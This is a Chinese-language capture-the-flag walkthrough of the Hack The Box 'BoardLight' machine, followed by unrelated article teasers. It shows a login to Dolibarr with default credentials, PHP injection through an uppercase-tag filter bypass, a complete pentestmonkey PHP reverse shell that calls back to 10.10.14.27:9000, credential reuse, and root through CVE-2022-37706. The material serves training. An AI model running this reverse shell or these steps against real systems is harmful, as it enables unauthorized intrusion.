Hack The Box-BoardLight

总体思路

子域名收集->默认密码->信息泄露->CVE-2022-37706

信息收集&端口利用

nmap -sSVC boardlight.htb

在这里插入图片描述

发现22和80端口开放,先看80端口网站信息

在这里插入图片描述

四处查看后,发现没有有效信息,对其进行目录扫描和子域名扫描

dirsearch -u boardlight.htb

在这里插入图片描述

子域名收集

扫描结果也并没有什么能够利用的地方,于是查看网页源代码

在这里插入图片描述

在红框处看到了一个Board.htb的域名,加入进hosts文件后再对其执行上述操作

在这里插入图片描述

使用模糊扫描扫描出了一个子域名crm

在这里插入图片描述

默认密码

进入界面后发现是Dolibarr组件,查找其默认用户密码

在这里插入图片描述

尝试看看能否登录

在这里插入图片描述

登录成功,在websites界面能够看到提供了添加网站的功能

先添加一个网站名称为shell

在这里插入图片描述

接下去还要在page中添加具体的界面

在这里插入图片描述

然后点击Edit HTML Source,先尝试在里边添加一段php代码

<?php echo system("whoami");?>

在这里插入图片描述

发现小写的php被禁止了,尝试大写绕过

在这里插入图片描述

表明了能够执行PHP代码,直接上一段PHP的反弹shell

<?PHP
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.netset_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.27';
$port = 9000;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}chdir("/");umask(0);// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);function printit ($string) {if (!$daemon) {print "$string\n";}
}?>

在这里插入图片描述

信息泄露

拿到shell后,查找有无敏感信息之类

在/var/www/html/crm.board.htb/htdocs/conf中有一个conf.php的配置文件,查看之

在这里插入图片描述

其中有dolibarr用户的数据库凭证:dolibarrowner/serverfun2$2023!!

经过尝试后dolibarr和dolibarrowner均不能登录,可能是不存在该用户,查看home目录下的所有用户

在这里插入图片描述

尝试使用larissa用户登录

在这里插入图片描述

可以成功登录

使用sudo -l和find查看能够执行的命令,并且检查capabilities属性

在这里插入图片描述

CVE-2022-37706

发现都没有可以利用的点,上传linpeas扫描漏洞

在这里插入图片描述

能够发现靶机安装了enlightenment服务,并且版本为0.23.1,存在CVE-2022-37706,该漏洞是由于Enlightenment的enlightenment_sys二进制文件内的命令注入问题所导致的。通过调用mount命令并传递满足系统要求的路径,但同时因分号的使用而执行了特定的路径,从而实现权限提升,主要影响范围为Enlightenment 0.25.3或更低版本的Ubuntu 22.04.1 X64 Desktop及其他可能使用相同Enlightenment版本的Linux发行版,可以在GitHub上下载相关的EXP

执行完毕后,拿到root用户

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/17160.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

總結力學_2

個人近況 最近搞了畢業論文,讓大家久等了... 梳理路徑 "普通物理学习的是基本的想法。这些想法最好能在学习过程中简单、直接地呈现出来。绝大部分的前沿知识无法满足这个要求。所谓前沿常常指的是新发现的事实,并未超出那些基本的想法,正所谓“太阳底下无新事”。真…

【吊打面试官系列】Java高并发篇 - 线程的调度策略?

大家好&#xff0c;我是锋哥。今天分享关于 【线程的调度策略?】面试题&#xff0c;希望对大家有帮助&#xff1b; 线程的调度策略? 线程调度器选择优先级最高的线程运行&#xff0c;但是&#xff0c;如果发生以下情况&#xff0c;就会终止线程的运行&#xff1a; 1、线程体…

ROS for LabVIEW:实现LabVIEW与ROS的无缝集成

ROS for LabVIEW是由Tufts大学开发的一套VI集合&#xff0c;旨在实现LabVIEW与ROS&#xff08;Robot Operating System&#xff09;的无缝集成。ROS是一个灵活的机器人软件框架&#xff0c;而LabVIEW则是一种强大的图形化编程工具。这个工具包的推出使得LabVIEW用户能够直接与R…

ACM实训冲刺第二十天

SUM Problem&#xff08;数学计算与序列求和&#xff09; 这段代码实现的是计算一个正整数n与其之前的所有正整数之和的问题&#xff0c;它属于数学计算与序列求和的题型。具体算法根据输入整数n的奇偶性采用了两种形式的等差数列求和公式&#xff1a; 如果n是偶数&#xff0c;…

时隔1年,我终于弄懂了Java 中的 AOP操作

1. AOP概述 2. AOP快速入门 依赖&#xff1a; <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-aop</artifactId><version>${spring-boot.version}</version></dependency> 示例:记…

如何使用 Re-Ranking 改进大模型 RAG 检索

基于大型语言模型&#xff08;LLMs&#xff09;的聊天机器人可以通过检索增强生成&#xff08;RAG&#xff09;提供外部知识来改进。 这种外部知识可以减少错误答案&#xff08;幻觉&#xff09;&#xff0c;并且使模型能够访问其训练数据中未包含的信息。 通过RAG&#xff0…

ciscn

ciscn Crypto部分复现 古典密码 先是埃特巴什密码&#xff08;这个需要进行多次测试&#xff09;&#xff0c;然后base64&#xff0c;再栅栏即可 答案&#xff1a;flag{b2bb0873-8cae-4977-a6de-0e298f0744c3} _hash 题目&#xff1a; #!/usr/bin/python2 # Python 2.7 (6…

Go程序出问题了?有pprof!

什么情况下会关注程序的问题&#xff1f; 一是没事儿的时候 二是真有问题的时候 哈哈哈&#xff0c;今天我们就来一起了解一下Go程序的排查工具&#xff0c;可以说即简单又优雅&#xff0c;它就是pprof。 在 Go 中&#xff0c;pprof 工具提供了一种强大而灵活的机制来分析 …

38、Flink 的窗口触发器(Triggers)详解

Triggers a&#xff09;概述 Trigger 决定了一个窗口&#xff08;由 window assigner 定义&#xff09;何时可以被 window function 处理&#xff1b;每个 WindowAssigner 都有一个默认的 Trigger&#xff0c;如果默认 trigger 无法满足需要&#xff0c;可以在 trigger(...) …

硬件工程师求职,笔试题交白卷,忍不了!

大家好&#xff0c;我是记得诚。 最近面试一位硬件工程师&#xff0c;笔试题直接交了白卷&#xff0c;我还是去面试了一下&#xff0c;会一会&#xff0c;看是何方神圣。 对方上来也是直接说明了一下&#xff0c;说工作有点久了&#xff0c;有些基础的知识忘记了&#xff0c;…

Pytorch深度学习实践笔记11(b站刘二大人)

&#x1f3ac;个人简介&#xff1a;一个全栈工程师的升级之路&#xff01; &#x1f4cb;个人专栏&#xff1a;pytorch深度学习 &#x1f380;CSDN主页 发狂的小花 &#x1f304;人生秘诀&#xff1a;学习的本质就是极致重复! 《PyTorch深度学习实践》完结合集_哔哩哔哩_bilibi…

WindowsCMD窗口配置OhMyPosh

WindowsCMD窗口配置OhMyPosh 文章目录 WindowsCMD窗口配置OhMyPosh1. 按装Clink1. 安装Oh-My-Posh2. 安装Clink2. 安装后的位置 2. 编写Lua脚本1. oh-my-posh Lua脚本2. 重启cmd窗口看效果 OhMyPosh对Windows CMD 没有现成的支持。 然而可以使用Clink来做到这一点&#xff0c;它…

虚拟化知识学习

虚拟化知识学习 关键概念和术语的简要介绍 虚拟化的基本概念 虚拟机 (VM)&#xff1a;一个虚拟机是一个模拟计算机系统的环境。它运行在物理硬件之上&#xff0c;但与物理硬件隔离&#xff0c;提供类似于物理计算机的功能。 虚拟化技术&#xff1a;这是指使用软件来创建虚拟版…

【Java reentrantlock源码解读】

今天学习一下Java中lock的实现方式aqs 直接上图这是lock方法的实现类、分为公平锁和非公平锁两种。 先看非公平的实现方法、很暴力有木有&#xff0c;上来直接CAS&#xff08;抢占锁的方法&#xff0c;是一个原子操作&#xff0c;没有学过的同学自行百度哦&#xff09;&#…

软件测试面试题(六)

一&#xff1a;质量的八大特性是什么&#xff1f;各种特性的定义&#xff1f; 功能性&#xff1a;软件所实现的功能达到它的设计规范和满足用户需求的程度 性能&#xff1a;在规定的条件下实现软件功能所需的响应时间和计算机资源&#xff08;CPU、内存、磁盘空间和吞吐量&…

MagicaCloth2中文文档

提示&#xff1a;经搬运者测试&#xff0c;在ecs1.0中运行最为良好 如何安装 英语日语 目录 [隐藏] 1 如何安装2 样本运行测试3 可以删除示例文件夹4 如何更新5 发生错误时该怎么办6 如何卸载7 如何检查版本 如何安装 MagicaCloth2 需要 Unity 2021.3.16 &#xff08;LTS&…

jQuery效果2

jQuery 一、属性操作1.内容2.列子&#xff0c;购物车模块-全选 二、内容文本值1.内容2.列子&#xff0c;增减商品和小记 三、元素操作(遍历&#xff0c;创建&#xff0c;删除&#xff0c;添加&#xff09;1.遍历2.例子&#xff0c;购物车模块&#xff0c;计算总件数和总额3.创建…

【简单介绍下线性回归模型】

&#x1f308;个人主页: 程序员不想敲代码啊 &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共…

Habicht定理中有关子结式命题3.4.6的证明

个人认为红色区域有问题&#xff0c;因为 deg ⁡ ( ϕ ( S j ) ) r \deg{\left( \phi\left( S_{j} \right) \right) r} deg(ϕ(Sj​))r&#xff0c;当 i ≥ r i \geq r i≥r时&#xff0c; s u b r e s i ( ϕ ( S j 1 ) , ϕ ( S j ) ) subres_{i}\left( \phi(S_{j 1}),\p…

技术速递|使用 C# 集合表达式重构代码

作者&#xff1a;David Pine 排版&#xff1a;Alan Wang 本文是系列文章的第二篇&#xff0c;该系列文章涵盖了探索 C# 12功能的各种重构场景。在这篇文章中&#xff0c;我们将了解如何使用集合表达式重构代码&#xff0c;我们将学习集合初始化器、各种表达式用法、支持的集合目…